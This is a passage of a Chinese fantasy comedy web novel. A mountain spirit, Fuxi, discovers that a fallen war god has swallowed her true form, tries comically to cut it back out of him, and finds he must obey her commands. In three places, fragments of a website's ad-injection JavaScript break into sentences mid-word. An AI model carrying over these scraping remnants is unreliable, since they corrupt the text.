《好运滚滚向西流》 1. 看!流星 扶西是被十一摇醒的,今日是十一同小候的大喜日子,她喝多了些,难免昏昏欲睡。 不曾想睁开眼睛的时候,原本躺在床上的她竟滚到了地上,身侧的榻断成了两截,洞府中灰尘铺了厚厚一层。 扶西抬手摸了摸自己的脸,居然也有一层灰,她望向十一同样灰扑扑的喜服和脸庞,面上罕见地出现了惊恐的神色。 “出什么事了!!” 十一抬手抹脸:“山君,天河里掉下一颗星星,情况一时说不清楚,你亲自去看看。” 扶西哪里敢耽搁,自她于扶西山化形,还未曾遭过如此磨难,随着她修为渐长,扶西山也慢慢扩大,山中虫鱼鸟兽众多,扶西觉得一个人太无聊,于是乎分了些修为出去,助他们修炼成形,给自己解闷。 几百年过去,山中俨然人间模样,十一同小候化形最早,互生心意,扶西便学着凡人给他们办了个婚礼。 如今怎么成了惊吓呢! 路过山脚的桑树,扶西不由得停下脚步,只见从前遮天蔽日,枝条丰满的桑树绿叶耷拉,像个干巴巴的老太太。 扶西心口一抽,望着神色同样焦急的十一:“我的真身,还在荷花池吧?” 十一抿了抿唇,神色晦暗:“山君,我觉得不太妙……” 扶西魂魄都快吓飞了,每月十五,她都会将真身放在后山荷花池滋养,多吸收些天地灵气,修为才能涨得快,扶西山才能过上好日子。 飞奔到后山的时候,一见眼前这幅场景,她像是打了霜的茄子,瞬时蔫了。 荷花池水全部干涸,几片被烧焦的荷叶耷拉在快要断掉的枝干上,一阵微风吹过,焦干的荷叶咔呲响了两声,瞬时化作了齑粉。 哪里还有她真身的影子! 飞来横祸,扶西捂住胸口,整个人脱了力跌坐在地,她如今应当几千岁,还不曾尝遍世间的美好,就要驾鹤西去了吗?想到这里,她眼眶不由地湿润起来。 刚来的时候还想着大大地发一场火,如今却是没有力气了,她抬起手,泪眼朦胧,想对面前的猴子鹿孙交代几句后事。 可脊背忽然一空,重重摔到了地上,满地的石子磕得她痛呼一声。 回头一瞧,原本扶着她的十一从喜袍底下钻了出来,变回了原形。 扶西大骇,更是生无可恋了,这意味她修为骤降,无法再维持山中活物的人形了。 好在十一还能讲话。 “山君!”她灵活的四肢扒住扶西的身体,颤抖的声音带着哭腔。 小候也变回了原形,跟着十一蹲在扶西身侧。 眼前慢慢地涌来一群黑影,梅花鹿,土拨鼠,小白兔,鹰隼,麻雀…… “我的孩儿们呐——” 动物们凑得更近了。 “如此天灾,我也不曾想到,以后没了我,你们可要好好修炼,靠自己化成人形。”说完这句话,扶西竟没来由地觉得自己虚弱了许多,不知是酒劲上来了,还是真要死了,她眼皮有些耷拉起来。 小候窜上去,握住她的手,无声地抽噎。 “山君——” “山君——” “啾啾啾——” “嘎嘎嘎——” “汪汪汪——” “嘶嘶嘶——” 扶西望着垂头丧气的动物们,悲从中来,大大地叹了一口气。 “山君!” 一个尖锐的声音在一片哀戚中显得异常突出:“池底,池底有个人!” 听到这里,扶西猛然坐起,来到焦黑黑的洞边,大火熄灭,烟尘尽散,俨然可见洞底蜷缩着一个有些虚弱的人影。 扶西顿时不困了,这么说,不是天河里的星星,是个人,□□,这是人祸! 她怒从心起,抬手指挥起来:“你们去把他给我拖上来!” 十一和小候窜了下去,一头棕熊也跳了下去,片刻以后,六双眼睛亮晶晶地瞧着她。 “山君,我们拖不上来……” 她拍了拍脑袋,变回原形以后,孩儿们的力气大不如前,她轻轻抬手,仙气从指尖溢出半截,弯弯曲曲,歪歪扭扭,还不等到洞边,就立刻散了形。 扶西悲痛万分,咬牙切齿地跳下洞底,三下五除二将此人捞了上来,伸手一探,已经死透了。 蓦的,焦黑的人胸口上散发出淡淡的绿光,而后渐盛,照得扶西一张面无表情的脸更绿了。 十一尖叫起来:“山君!他好像将你真身吃了!” 扶西一张脸黑气缭绕,她将此人翻了个面,抬手就往他心口冲去,管这人是死是活,她得先把真身取出来,不然她就大难临头了。 不想指尖才触到这人黢黑的外壳,便有耀眼的金光闪起,几乎亮瞎扶西的眼睛,她错愕地望向这人胸口瞬时炸开的焦炭,指尖一烫,一股巨大的力量猛然将她掀翻在地。 此人周身有光波荡起,动物们趔趄着纷纷往后挪。 扶西一骨碌爬起来,连灰都来不及拍,顺手捞出别在腰间的匕首,快步上前往男人发着绿光的胸膛刺去,仙法取不出,她生剜就是了。 不料匕首方才触碰到他的皮肤,扶西整个人都不住地抖动起来,似乎有一股无形的力量对抗着她,匕首尖端再也无法往下刺入半分,她坚持了一会儿,只稍稍分了点神,身体便以极快的速度往后弹去。 “嗖——” 她整个人像离弦的箭,破开后方的风,不一会儿便挂在了山脚的桑树上。 十一跑得快,她窜上树枝,将挂在上面的扶西扶起来,扯着她的衣角往下跳。 扶西撸起袖子,忍不住出声,咬牙切齿道:“实在是欺人太甚!” 她如何肯服输,而后不过是从坏掉一角的镇山石旁起身,从裂成两半的洞府里爬出来,从海里游出来罢了…… 扶西终于坚持不下去了,眼看着那绿光的范围从胸口扩大到全身,最后在此人头顶消失殆尽。 她终于忍不住了,两行清泪从眼角无声地滑落,加上破烂不堪,灰扑扑的衣裳,整个人显得似乎比这地上将死不死的黑壳子还狼狈。 “山君……”十一不知从哪里爬过来,立在她肩头,用手掌轻轻地替她拭去眼泪,还不等她开口再安慰两句,扶西忽然把头偏了过去,用手揉起眼睛来。 十一瞧了有些心疼,正欲爬下肩头去另一面安慰她,却见扶西忽然转过来用一双通红的大眼睛对着她:“十一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你最近是不是掉毛,快,快把我眼睛里你的臭猴毛给我拿出来!” 动作之间,扶西忽然感觉心口热得厉害,还一抽一抽的,她缓缓回过头,果然看见那男人睁开了眼睛,身上的黑壳子也在他睁眼的瞬间变作了一件黑灰的衣裳。 扶西缓缓起身,有些惊讶,复生的死人着实少见。有了方才的教训,她不敢再随意动这人,纠结了一会儿便用脚尖轻轻地踢了踢他的腿。 那人皱起了眉头,半睁的眼里水光迷离,浓密的长睫上依旧染着灰扑扑的炭粉,干裂的嘴唇微微张开,似乎想说话。 扶西见踢完什么都没发生,胆子不由地又大了几分,加重力气踹了两下。 依旧无事发生。 她心头一喜,思忖着应当是方才的禁制不在了,如此看来,她可以对这个男人为所欲为了! 果不其然,这人眉头蹙得更深了,他费力地睁开双眼,眸光中满是不解,蜷起的手指无力地抓着地上的小草,半晌才吐出一个沧桑的字:“哪?” 扶西没听见他说话,正握着匕首琢磨着怎么才能将她的真身取出来,既然现在她的触碰不会引发禁制,何不趁此机会动手呢? 眼前寒芒一闪,扶西正要刺下,耳旁却传来一个惊愕又嘶哑的声音。 “且慢——” 她循着声音来处望去,只见男人似乎已经完全清醒了,他剧烈地喘息着,面庞上疑虑与惊惧交杂闪过:“别,先别动手。” 他说得有气无力,扶西听得心烦气躁。 一个小偷,还想让她别动手,做梦吧! 不等男人再说出下一句,扶西的匕首已猛然刺入了他剧烈起伏的胸膛,顿时鲜血如注,男人刚起来一点的声息霎时散在了风里。 腥味在她的鼻腔里横冲直撞,扶西忍着强烈的视觉冲击并着自己快消失殆尽的仙法,终于在层层叠叠的红肉之间找到了那颗规律跳动着的心脏。 只见心脏被泛着莹莹绿光的嫩叶包裹,正有力地跳动着,扶西面露喜色,用手指轻轻地拈住叶片,将其揭了起来。按理说这个时候这小芽应该迅速回到她身体里才是,可任凭扶西如何催动,那叶子的根系依旧稳稳扎在心中。 周边涌动着金色的符文,一圈又一圈不知疲倦地巡查着,发现扶西手指时,似乎还探出一截针尖似的东西,扎破了她的皮肤。 完了。 这是她的第一想法。 这小贼好生无耻,为了自己活命,竟用不知什么邪术困住了她的真身,想她虽说修为在仙界排不上什么号,但好歹是一山之主,竟被这样一个无名小卒算计! 扶西只觉得自己快要窒息了,她望着男人胸膛处的叶片轻轻动了动,顺从地贴了回去,一时间气血上涌,又往那人腿上狠狠踹了几脚。 与此同时耳边竟传来呼呼风声,紧接着山崩地裂,巨石滚落,扶西望着远处的滚滚尘烟和高高涌起的浪花,一时间心下了然。 她修为骤减,从前扩大的地盘便沉入海中,消失殆尽,山中虫鱼鸟兽受尽惊吓,飞得飞,跑得跑,乱作一团。 扶西再也忍不了了,不及男人伤口愈合,她便用尽平生最大最狠的力气,一脚将此人踹回了漆黑的洞底。 2. 战神献流? 十一又跳回她肩上,下意识给自己梳了梳毛,语气里是掩不住的焦急:“山君,现在怎么办啊?” 她这么一大群山,哐哐当当这么一会儿,就剩下个漂在海上的小岛,前方连绵的山脉没了踪影,只有看不到尽头的大海。 小候蹦回来,身上的毛都快竖起来了:“山君,洞府塌了,镇山石坏了,那株老桑树也快枯了。” 扶西不耐烦地点点头,阔步来到山洞前头,她平日里闲来无事,就喜欢偷偷溜到凡间玩,一来二去,也仿着人家的样子装饰自己的住处。 这会儿什么都没了。 扶西下意识地想施仙法,却望着指尖摇摇欲坠的仙气差点哭出声来。 “算了,先睡觉。”扶西只觉得此刻累极了,什么烂山洞,破地皮,乌泱泱的动物们,她都管不动了,明天再说吧。 山洞里是睡不了了,无所谓,她飞身掠上有些干枯的桑树,选了个形状合适的枝丫,躺了下来。 能不能活到明天天亮还两说,觉是睡一个少一个,于是她合上眼睛,沉沉睡去。 下一刻,耳边似乎传来咔呲的声音,树枝有些颤抖,扶西觉得指尖一阵刺痛,而后她便随着断裂的树枝重重地砸在了地上。 “天要亡我啊——” * 早晨,扶西是被阳光照醒的,昨夜落地,她没了心情,干脆就地睡了,好在她不挑,在哪里都睡得熟。 前方几乎塌成废墟的洞府又晃了晃,落下两块石头来,扶西叹了口气,转头还是去了荷花池。 洞底的人似乎还在昏迷之中,胸口上的伤没在流血了,天光大亮,扶西这才看清他的容貌。 乍看之下十分惊艳,琼鼻挺翘,眉目深邃,饱满的嘴唇映着点血,颇有艳色。 可再一转头,竟将他模样忘得干净,非得再多看几眼才能记下来几分,看多了,又觉得泯然众人,好生奇怪。 扶西还是将他从洞里拖了出来,用红绸将他双手捆住,吊在桑树上,拍了拍他的脸颊。 没醒。 “搬个椅子来。”她像往常一样吩咐,却半晌得不到回应。 十一努了努嘴巴:“山君,你的椅子全砸烂了。” 扶西按捺住心中的怒火,盘腿坐下:“把他给我浇醒。” 十一同小侯得令,十分勤快地往返沙滩与树下,一桶又一桶咸腥的海水被倒到男人身上,他的手臂上起了鸡皮疙瘩,身体不住地颤抖,整个人却还是不曾醒转。 本想着人醒了审问两句,现下是问不着了,看来这小贼修为也欠了些火候,偷了她的真身活命,却醒不过来,这有什么用! 她低头思索着,怎么才能将真身取出来呢…… 对了! 扶西福至心灵,炼化就是了!蒸煮炸烤,全都来一遍!人是灰不要紧,留下真身就好。 想到这里,她舒了一口气:“十一小候,架锅!” 前十天,扶西满脸轻松地将他放在锅里,不停地煮,谁想这人除了面色有些红热,居然毫发无损。 中间十天,扶西蹙着眉头将他扔进从隔壁借来的炼丹炉中,天火烧了七天七夜,当她满怀期待地打开炉子,迎接她的不是真身,而是男人依旧完好无缺的身体,且胸口的伤还愈合了! 扶西倒地不起,昏迷了三天三夜才悠悠醒转,后十天,她捶胸顿足,咬着牙将人拎了出来,滚完油锅上蒸锅,涮完海水又倒悬在树下。 扶西眉头越皱越紧,一口气就快要提不上来,这男人居然有金刚不坏之身,也不知他如何得来的,扶西都快要气死了。 如今没有法术可施天眼,扶西只好又剖开他的胸膛,不看不知道,一看不得了,那叶子已经深深地嵌了进去,扶西浑身血液奔腾,直冲脚底,两眼一抹黑,又昏了过去。 再次醒来,居然已是四十九天之后了,面前的两只猴见她苏醒,下意识地想蹦跳,身体却耐不住了。 扶西握着十一瘦骨嶙峋的手臂,眼中不免浮上心疼,两只猴快瘦得皮包骨了。 “山君,你终于醒了。”十一伏在她胸口,轻轻地抽泣,“要是我两人那天不办婚事就好了,你就不会喝那么多,说不定就把这颗石头拦下来了……” 扶西轻轻抚摸着她的脑袋:“你别多想,跟你没关系。”她脑子一片混沌,终于想起来外头树上还挂着个人,这么久,别成人干了吧。 “他没醒过?” 十一摇头。 “山君,你昏迷的这些日子里,大家伙都担心你,可是扶西山变这么小,住也住不下,吃也不够吃,不少动物已经迁去别处了。” 扶西点头,表示理解。 “还剩多少?” 小候接话:“我同十一,还有熊婶一家,几只老土拨鼠,几只残疾梅花鹿,还有……” 扶西扶额:“算了先别说了。” 十一点点头。 好在她接受的很快,如今扶西山仙气渐散,没有人识的动物适时迁徙本就正常,主要还是自己无法给人家提供庇护。 扶西去看那男人。 桑树愈发干枯了,红绸挂着的人在风中轻轻晃动,似乎也瘦了不少,居然还没死。 “你命真硬。”扶西站在他面前,抬起他垂着的脑袋,打量了一会儿,指尖传来的温度有些烫起来。 扶西眨巴眨巴眼睛,带着试探的意味:“快醒吧。” 话音刚落,面前男人的眼睛便兀的睁开了,长睫一扫,眼中满满的疑虑,他呼吸变得粗重,一双剑眉紧接着蹙了起来。 扶西被他吓了一跳,立时撤了手,下意识往后退了两步,之前怎么折腾都不醒,这会儿说了两句话倒是醒了,真是个怪人。 “你是谁?”男人终于开口说了第一句清晰的话,他眸光闪动,似乎是被自己的声音惊了惊,眉头染上奇异。 扶西冷哼一声:“你这是在质问我?”她双手抱胸,“你偷了我的东西,居然还有脸来问我,我还没审你呢。” 献流眸中疑色更深,他的记忆还停留在坠落前的满天霞光中,他奉命前往东海之滨绞杀异兽饕餮,原本占着十分优势的战机急转直下,他被饕餮击中要害,坠进了天河,然后,然后…… 是了,他被捅了一刀,不,两刀!还被蒸煮炸煎,差点被吃了。 他偷了什么…… 他头痛欲裂,手腕上传来更明显的痛感,他被吊在这里,不知多久了。 昏过去之前,他似乎食用了一株灵草。 “一株灵草罢了,你放我下来,我还你十倍,百倍,都可以。” 扶西听着他那轻飘飘的语气,顿时气不打一处来,灵草?这小贼居然把她的真身叫做灵草,哪有长成那样的灵草!那是树!大树!桑树! “那可是我的真身!”扶西咬着牙,“若非如此,你早就死了!” 男人似乎思考了一会儿,手指动了动,眉间的诧异被他不动声色地掩盖过去,他清了清嗓子:“那,多谢你的救命之恩。” 扶西听完都快撅过去了:“我救你了吗?我可没想救你,我就不会救你!” “那便是我自救了。”献流脑子乱作一团,这具身体十分僵硬,修为尽失,连个小小的山君都奈何不了,他盘点着前段日子的种种经历,试图找到一些蛛丝马迹,以至于忽略了扶西口中翻来覆去的真身。 等她说了不知几遍后,献流才回过神来:“真身?!” 下界仙山多有山君坐镇,这些山君多是山中活物修行而成,与他们这些生来就是仙胎的大有不同,真身于他们而言,重要程度与元神一般无二。 他,他竟吃掉了人家的真身,想到这里,献流内心不安起来:“抱歉,我不知道,那是你的真身。” 扶西白眼都快翻上天了,敢情她在这里骂了那么多句,这人才反应过来,突如其来的道歉让她有些不知所措地停住了谩骂。 “你放我下来,我试试能不能取出来。” 扶西叹口气,想着死马当活马医吧:“行,你自己滚下来吧。” 言罢,献流感受到腕间的红绸一松,他的身体竟不受控制地往地上坠去,翻滚了一圈后直挺挺地站到了扶西面前。 扶西一愣,不是,他还真是滚下来的啊? “那你快点!”扶西催促起来。 献流点点头,盘腿坐下,开始运气。 扶西望着他那副煞有其事的模样,忍不住在他旁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边踱起步来,她倒是要看看这个怪人怎么个取法,要是能取出来,她大人有大量,放走他也不是不行。 日落月升,扶西的耐心也耗尽了,她自认为不算聪明,但绝对不蠢,如今竟被这个身份不明,来历不清的混小子给算计了。 她抬起脚,再也忍不住了。 不想男人也在这个时候睁开了眼睛,定定地望向扶西。 “成了?”扶西收回脚,“快,快拿出来啊。” 男人喉结一滚,一本正经道:“没,我取不出来。” 扶西的笑容僵在脸上,她抬起双手紧紧揪住男人的衣襟,把人往上提了提:“你骗我?!” 男人眼神镇定自若,他摇了摇头:“没有,我没有骗你。” “你看看这周围,你知不知道,扶西山原本比这大多了!还有那株桑树,从前枝条繁茂,还有我的洞府,我精心布置了几百年,就因为你,全部毁了!”扶西说着说着,眼眶里气出眼泪来,她狠狠将人丢了下去,朝着无垠的大海,“从前,这里都是草地,有花有蝴蝶,有鹿,有兔,大家都在,我每一天都过得很开心……” 献流几度意欲张口,却不知该如何安慰。 谁料扶西猛然转过身来,手中的匕首银芒闪闪:“不如,我们同归于尽吧!” 献流打了好久的腹稿,还来不及开口,只好快速往后退,一双腿快得看不清影子。 “你别激动。” “我知道你死不了,不如停下来给我捅几刀泄泄愤。” 献流听了只觉得胸口隐隐作痛:“你可知我是谁?” 扶西忍着气:“我管你是谁?有本事,你现在就去把我的山洞给我修好!” 话还未完,扶西眼看着面前的男人将身一闪,堪堪避过她的刀锋,以极快的速度往坍塌的洞府前奔去。 霎时间灰尘漫天,月色之下,男人仿若快速移动的鬼影,随着他的动作,落地的石块又被重新整齐地堆砌起来,散落在地的瓶瓶罐罐,桌椅板凳都被一一收拾起来。 不过一盏茶的功夫,山洞竟恢复了之前的模样,扶西有些错愕地收回匕首,脚步迟疑。 她眨了眨眼睛,看着乖顺地立在洞口的男人,瞥了他一眼,提脚走了进去。 床榻也被修好了,软乎乎的锦被摊开着,她扑上去,轻轻蹭了蹭,久违熟悉的触感让她忍不住咧嘴笑出来。 “你过来。”扶西朝男人抬了抬手。 她心中有一个大胆的想法,还需要验证。 果然,男人紧皱着眉头,两只脚像打了架一样,还是来到了她面前。 十一同小侯窜上她的肩头,两猴下巴都快惊掉了。 “你转个圈。” 男人依言乖乖转了个圈。 “蹲下。” 男人听话地蹲了下去,表情却是十分不愿意。 扶西拍了拍手:“给我跳一支舞。” 男人终于挣扎着开口:“我不会跳舞。”谁料还不等他说完,不受控制的四肢竟动了起来,陌生的动作让他惊讶不已,等他反应过来,自己居然已经舞完了一曲。 扶西微微笑着,这就是她在人间惯常看的,男人四肢僵硬,动作却流畅,和她记忆中并无两样。 一个听话的仆人。 山中重建有人了,扶西第一时间想。 献流见她又要讲话,连忙出言制止:“等等,你,你……”他似乎在纠结,“你知道我是谁吗?” 这问题他刚刚就问过,扶西懒得搭理,这会儿兴致回来不少,她往后一靠,居高临下地望着男人:“好吧,我确实不知道,你是谁?” “我乃天君二弟子,献流。” 长久的安静,静到落针可闻,献流说完以后有些后悔,他并不是那种惯以权势压人的神仙,只是面前这小仙,实在有些不成体统。 还是没有回应。 “你不必心急,我不会怪罪于你,待我回到天界……” 这次不等他说完,山洞便被一串激荡的笑声填得满满当当,榻上的人笑得前仰后合,捂着肚子不住地打滚,眼睛里浸满了泪花。 她笑的上气不接下气:“你,你要是战神献流,我就是西海龙王!” 3. 要地盘去 扶西一双眼睛噙着笑,像只狡黠的小狐狸,她抿了抿唇,跳下床榻。 “你说,你是个大笨蛋。” 献流一句话在喉咙里打着转,唇齿相博,最后还是发出咬牙切齿的声音。 “我是个大笨蛋。” 扶西笑得在地上打滚,十一和小侯也跟她一样,在地上滚过来滚过去,眼睛里满是笑出来的泪水。 “太好啦!”扶西上前拍了拍献流的肩膀,“扶西山重建这项工作就交给你了,先修好镇山石,再给老树浇浇水,最后修整一下草地。” 献流闻言,满是抗拒的脸庞抵不住拔腿就动的身体,说干就要干。 他在外头忙得像个陀螺,扶西跟两只猴子面对面坐着,商量着扶西山的未来。 如今地盘骤然缩小,怎么也不够呆,思来想去,只能去隔壁邻居那里把之前被他强要去的地皮拿回来。 “安阳山君那么小气,真会还给我们吗?”小侯心中疑虑,满面愁容。 “那本就是我们的地盘,当年是山君可怜他才赠出去,如今遭了难,怎么不能要回来?”十一满胸愤懑,恨不得从榻上弹起来。 小侯扁了扁嘴:“可山君早就跟人家闹翻了,当时放狠话说是老死不相往来,这会儿怎么去啊……”他又添了一句,“况且安阳山君又那么抠门。” 扶西扶额,如今确实想不到更好的办法,先弄些地皮回来再说,至于脸皮,哪里有地皮重要! “常言道,得厚脸皮者得天下。”扶西晃着脑袋,忍不住上手薅了一把两只小猴的脑袋。 毛真软。 十一睁着一双大大的葡萄眼:“山君,这是哪个古人说的啊?” 小候窜到十一旁边,弹了她个脑瓜崩:“山君这是欺负你读书少呢。” 一人两猴说说笑笑,全然忘了外头还有个忙得热火朝天的男人,扶西蜡烛一吹,自然而然地就睡下了。 直到后半夜,胸口和右半边的身子传来沉重的压痛,她自觉喘不上来气,这才缓缓睁开惺忪的睡眼。 “啊——” 扶西扯着被子从榻上跳了下来,昏沉的脑袋瞬时清醒过来,她望向榻边的黑影,就着月光用眼神描摹了半天的轮廓,这才反应过来。 “小贼?” 男人睡得极死,半拉身子伏在榻边,安静下来之后还能听到他均匀的呼吸声,脑袋上还生着半截绿油油的叶子。 这该不是把她给吸收了,发芽了吧? 扶西毫不客气地将他摇醒,而后板着脸,一抬手将他请出了山洞。 男人立在洞口前,垂头丧气:“我干了很多活。” 扶西打了个哈欠:“所以呢?” “我很累。”他一双眼睛水汪汪的,就这么直梗梗地盯着扶西。 “那你现在可以休息了。”扶西理直气壮。 男人似乎犹豫了一下:“我从来没有这么累过。” 从前他追随师父修炼,夏日艳阳,寒冬飞霜都不曾懈怠,何谈疲惫,如今只在这小小仙山半日,他的骨头就快散架了。 扶西不知为何,竟从他平淡如水的语气里莫名其妙听出一丝委屈来,眨巴着眼睛忽然有些心虚。 “我想进去睡,外面冷。”他直言不讳,眼睛里依旧没什么波澜。 扶西听到这里,忍不住轻笑出声,还想进去睡,做梦吧你! 她转身回到洞里,不想小贼居然跟了上来。 扶西毫不客气地挪来一个书箱挡在洞口。 献流蹙了蹙眉头,止住了前进的脚步,下一瞬,一床棉被从洞里飞了出来,就着脸将他一把砸到在地。 * 一大清早,扶西并着十一小候在洞门前踌躇,方才踏出来的豪情壮志被扶西消散的仙力浇了一盆冷水。 一人两猴,跑到人家地界上,别的不说,气势就矮了半截,一座山连两个人都凑不出来。 十一蹲在扶西肩头,薅了薅身上的毛:“山君先别急,洞口还睡着一个呢。” 扶西会心一笑,是了,她偏头启唇:“还不快起来!” 男人耳廓动了动,霎时便睁开了眼睛,一个鲤鱼打挺就立了起来,他叹了口气,一双眼睛平静中带着一丝生无可恋,人已经走到了扶西面前,魂魄似乎还躺在地上。 他面颊紧绷:“我觉得,我们应该好好谈谈。” 扶西一瞥眼,自然而然地就将手伸到了献流头顶。 他眼神涌起惊骇,心中特别想往后退一大步,身体却不受控制地弯了个腰。 扶西愣了愣,十分受用地在他头顶薅了一下:“你头上的草呢?” 献流一口银牙都快咬碎了,恨不得立刻弹飞起来,一双脚却像灌了铅似的动不了半分:“我头上,没有草。” 扶西见他肩膀有些颤抖,试探着也弯下腰去,偏着头打量他神色。 呦呵,一副受尽屈辱的模样,扶西凑到他旁边:“那昨晚睡在我旁边的是谁啊?” 话音刚落,扶西眼见着男人一张脸从脖子开始迅速变红,眨眼之间,已经红得快能烧鱼了。 扶西下意识伸手过去想探探他脸上的温度,手腕却被忽然抓住:“你,你怎么能……” 怎么能这样不知羞耻! 献流整个身体都是紧绷的,从小到大,他从未见过这种随随便便就动手动脚的人,实在不成体统。 他还想说两句,掌中的手腕却抽身而去,他也只好直起身子,十分乖顺地跟在此人身后,将她的吩咐全全听进耳中。 “等会儿拿出点气势来,你会不会打架?” “会一些。” 其实打得挺厉害的。 “那就好办了,等会儿要是打起来,你先顶着,我回来搬救兵。” 你确定这山里还有救兵可搬? 是那只老熊,还是那两只小猴? 献流无法反驳她,如今这具身体就像是扶西一样,她说什么是什么,他根本控制不了。 抬起手掌,献流凝视着掌心的纹路陷入了深思,昨日干活的空档里,他在海边看了一眼,这是一副陌生的容貌,和他有几分相似。 想来是当时为保性命无虞,触发了某种仙术,可在他记忆里,自己并未做过这样的事情。 如今修为尽失,受制于人,也无法同天界取得联系,之前贸然亮出身份,实在是考虑欠妥,若被有心之人利用,后果不堪设想。 走在扶西身后,他忽然想起,自己胸口上好像有道伤,这女人,前段时间,好像想杀他来着! 他抬手捂住胸口,竟莫名觉得已经愈合的伤疤有点疼。 “快跟上啊。”扶西见他迟迟不来,回头催促,“都赖你,不然我掐朵云来,一会儿就到了。” 说来也怪,扶西山闹出了这么大的动静,平日里,安阳那个老家伙早就屁颠屁颠地跑过来冷嘲热讽了,现在却迟迟没有动静。 该不会和自己一样,也快死了吧。 一路跋山涉水,终于落地安阳山中,各处生机勃勃,并无不妥。只是在她踏入安阳老头洞府外围时荡起了一圈光波。 自上次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闹翻以后,她快一百多年没来过这里了,变化虽不说天翻地覆,倒也叫她有些紧张。 该不会从哪里飞来一把剑,把她捅个对穿吧。 想到这里,她把男人拉过来,扶着他的双臂缩在他背后,探头探脑地一边观察,一边前进。 没有暗箭,只有几十只哗啦啦飞起来的鹦鹉,绕着他们不停盘旋。 扶西一双眼睛滴溜溜地转着,十分警觉。 献流感受着手臂上的温热,颇有些不大适应,本想把人给扒下来,想了想还是算了。 “臭不要脸的来了!” “臭不要脸的来了!” “臭不要脸的来了!” “来了!” 两人耳边炸开一阵阵的鹦鹉声音,尖锐中带着嘶哑,同安阳老头的声音差不了多少,重叠交错的语气炸人耳朵,听得扶西的嘴角渐渐拉了下去。 片刻之后,大门露出个缝,一个白胡子老头面无表情地探出头来。 “扶西?你还敢来?”老头冷哼一声,而后用力把拐棍往门上一戳,厚重的木门砰的一声砸向两边,气势滔天。 扶西本想往后退两步,谁想那门又弹了回来。 “看我不弄死……” “老头,你最好小……” “砰——” 安阳一句话没吐完,脑壳就受了重重一击,往后倒去,木门咯吱咯吱地响着,他人却没了声息。 “小,小心点?” 扶西戳了戳献流后背,把他往前推:“快去看看有没有死。” 两人来到门后,只见安阳脑门肿成了寿星模样,又红又大,嘴里还缺了两颗牙,都这个时候了,还颤颤巍巍地抬着拐棍往扶西头上来了两下。 “老头儿你不识好人心。”扶西抗议。 “打的就是你,你这个臭不要脸的……”言罢他又从嘴里吐出半颗牙来。 扶西叹口气,同献流一人搂肩,一人抬脚,将他运回了房里。 等待安阳苏醒的间隙里,扶西绕着献流走了两步,思忖了一会儿,目光紧紧盯着他的衣襟。 献流被她看得有些脸热,一双手慢慢地攀上自己的衣襟,按得紧了一些。 扶西才不管,用两个手指捏着他的衣襟,以迅雷不及掩耳之速,扒掉了他的衣裳。 忽然暴露在外的皮肤起了一层鸡皮疙瘩,献流不可思议地望向扶西,短短片刻,脑海里交错闪过许多的念头,整个人都僵住了。 扶西打量了一眼,认可地点点头:“看着还算壮实,等会儿拿出点气势来!”她抬起手臂,微笑着也拍了拍自己的皮肉。 “这,这不合适,我……” “你将衣裳系在腰上,等会儿站在我身后,我同老头讲话的时候,你给我恶狠狠地瞪着他。” 原来是这样。 献流莫名松了口气。 说时迟那是快,安阳咳嗽了两声,幽幽醒转。 “安阳,我有事跟你商量。”扶西语气冰冷,面无表情。 “滚。” “你们刚才说的话我都听见了。” “别把眼睛睁那么大,我替你眼疼。” “衣服穿起来吧。” 扶西笑得有些僵硬:“哈哈,安阳你精神头不错啊。”她扶着榻边站起来,绕到窗边又绕回来。 手指不停地点着床头:“对,对了,怎么没看见你儿子啊,哈哈。” 安阳皱起眉:“你还敢提他?”他用拐棍指了指正在将手臂套进袖子里的献流,“你这不是有新欢了吗?” 4. 那晚上呢? 扶西深吸一口气,坐到安阳床边,煞有其事道:“老头儿你又糊涂了,这是我山里的梅花鹿啊!” 安阳胡子嘴角齐齐一撇,冷哼出声:“你山里不是只剩一只残了的梅花鹿么?”他越过扶西探头打量献流,“我看看,这人是哪里残了?” 扶西嘿嘿一笑,朝献流脑门上点了点,又拍了拍他胸脯,哐哐响:“四肢健全,就是脑子不太好使。” 献流皱起眉头,嘴唇微张。 怎么能这样胡言乱语,污人名声。 扶西见他双唇蠢蠢欲动,就要开口,立时用两个指头将他嘴唇紧紧拈住,丝毫没注意到献流越睁越大的眼睛。 “你出去跑个五六圈,替咱们安阳爷爷瞧瞧这山里哪里需要收拾的,勤快点都干了。”扶西笑眯眯地瞧着安阳,有模有样地朝献流发号施令。 献流大大叹了口气,脑子还是想再抵抗一下。 “我昨日修了屋子,还……” 还不等他说完,人已经站在房门外了。 扶西笑了笑,却后知后觉有些不对劲,老头儿是怎么知道她山里只剩一只残疾梅花鹿的! “老头儿你年纪大了,越发贼兮兮的,怎么算计我呢?” 安阳冷笑一声:“你真以为我什么都不知道?” “我说你怎么没来,原来是在等着我自己来啊。” 扶西双手抱胸垂眼瞧他:“我不跟你废话了,扶西山遭了难,之前送你的那座小山。”她嗫嚅了一会儿,似乎有些难以启齿,但还是被现实战胜,“麻溜点,还给我。” 安阳又哼哼起来:“送出的礼物泼出去的水,覆水难收,你怎么好意思来跟我要的?” “不跟你演了,你给不给?” 安阳眼睛眨得极快,下意识把拐棍往自己身边扒了扒:“我不给,你待怎样?” 扶西微微一笑,抬手指了指外头干得热火朝天的献流:“他力气大,皮肉紧,你年纪大,筋骨松。” “你要干什么?” “不干什么,跟你打个架。” 言罢她似乎就要开口将外头的人唤进来,安阳面上流露出几分紧张:“别整天打打杀杀的,我可以给你,但有个条件。” 安阳是株老巴巴的枣树,有个名叫红生的儿子,也是一株枣树。几百年前他们关系不曾恶化的时候扶西常来找安阳喝酒吃肉,也算看着他儿子长大的。 扶西自认待红生没有半点逾矩之处,谁料某一天她同往常一样拎着酒去找安阳,却被他用拐棍捅了出来。 “呸!不要脸,我把你当朋友,你却想睡我儿子!” 扶西一张脸红红紫紫,青青白白,半晌才反应过来:“谁要睡红生啊?乳臭未干的半大小子,怕是还没断奶呢!” “扶西你臭不要脸,敢做不敢当,我今日算是看清你了!” “你个死老头为老不尊,朝我身上泼脏水,你把他叫出来跟我对质!” 两人就这么隔着池塘对骂,从清晨到傍晚,十一给扶西搬来桌椅酒菜,企图营造点悠然自得的氛围。 